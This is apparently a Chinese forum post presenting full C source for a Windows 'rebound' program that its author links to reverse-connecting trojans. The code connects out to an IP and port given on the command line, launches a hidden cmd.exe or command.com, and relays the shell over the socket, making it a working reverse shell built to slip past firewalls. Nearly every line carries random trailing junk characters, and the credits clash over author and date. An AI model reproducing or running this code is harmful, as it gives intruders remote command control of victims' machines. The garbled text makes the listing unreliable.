这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r"rID
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/* ============================== "mT~_BsD
Rebound port in Windows NT bU:"dqRm<
By wind,2006/7 m(Bv}9
===============================*/ })bTQj7
#include 0 x"3
#include fwxyZBr
P/Sv^d5=e
#pragma comment(lib,"wsock32.lib") i' |S
g
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void OutputShell(); .6OE8w
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SOCKET sClient; o~^hsm[44J
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D@4hQC\
A"z')
void main(int argc,char **argv) T?7ZF+yo6
{ OjeM#s#N!
WSADATA stWsaData; JYKA@sZHe
int nRet; [>?B`1;@
SOCKADDR_IN stSaiClient,stSaiServer; 'n.eCdj
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if(argc != 3) Gz~P
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{ +\.gd L)
printf("Useage:\n\rRebound DestIP DestPort\n"); rMf& HX
return; 4U>
} `t ZvIy*
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WSAStartup(MAKEWORD(2,2),&stWsaData); bUz7!M$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O2Rv^la
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stSaiClient.sin_family = AF_INET; O,xU+j~)
stSaiClient.sin_port = htons(0); Q} f=Ye(&}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kfA%%A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ga~rllm;i
{ 0V`0=" rQ
printf("Bind Socket Failed!\n"); 't^OIil
return; Ge[N5N>
} S4`uNB#Ht
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stSaiServer.sin_family = AF_INET; PGu6hV{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =}U`q3k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Alp9]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \nPa>2r
{ OYNs1yB
printf("Connect Error!"); ~XQN4Tv-
return; eSywWSdf0
} =1yU&
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OutputShell(); +&-/$\"
} A^
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void OutputShell() nY}Ep\g
{ @y)-!MHN(8
char szBuff[1024]; z+NXD4
SECURITY_ATTRIBUTES stSecurityAttributes; VwHTtZ
OSVERSIONINFO stOsversionInfo; #$X_,P|D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |ay W _5}
STARTUPINFO stStartupInfo; HRje4=:
char *szShell; e [3sWv
PROCESS_INFORMATION stProcessInformation; +:wOzTUN
unsigned long lBytesRead; :%)l*[
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !}Cd_tj6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~0t]`<y=
stSecurityAttributes.lpSecurityDescriptor = 0; tX&Dum $
stSecurityAttributes.bInheritHandle = TRUE; GZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UFm E`|le
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~%k<N/B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 70a7}C\/o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; 7oh6G
stStartupInfo.hStdInput = hReadPipe; ]6W#P7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b 9F=}.4
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GetVersionEx(&stOsversionInfo); >j_,3{eJ
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switch(stOsversionInfo.dwPlatformId) 4=>/x90y
{ GmPNzHDb
case 1: +KrV!Taf
szShell = "command.com"; oAA%pZ@
break; dBX%/
default: I(bH.{1n7
szShell = "cmd.exe"; b qEwi[`
break; rH$0h2
} e
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}*hY#jo1
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @T|mHfQ8
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send(sClient,szMsg,77,0); y 7|x<Z
while(1) h$G&4_O
{ 9L]x9lI;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N3TkRJZ
if(lBytesRead) c*9RzD#Zj
{ x'+lNlv
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3 =KfNz_
send(sClient,szBuff,lBytesRead,0); q[] "`?
} pZuYmMP
else %f#3;tpC8
{ a7)q^;:O
lBytesRead=recv(sClient,szBuff,1024,0); kNMhMEez
if(lBytesRead<=0) break; |Xlc2?e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @w[WG:-+
} _hMMm6a|
} KaZ*HPe(
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return; {Fta4D_1N
}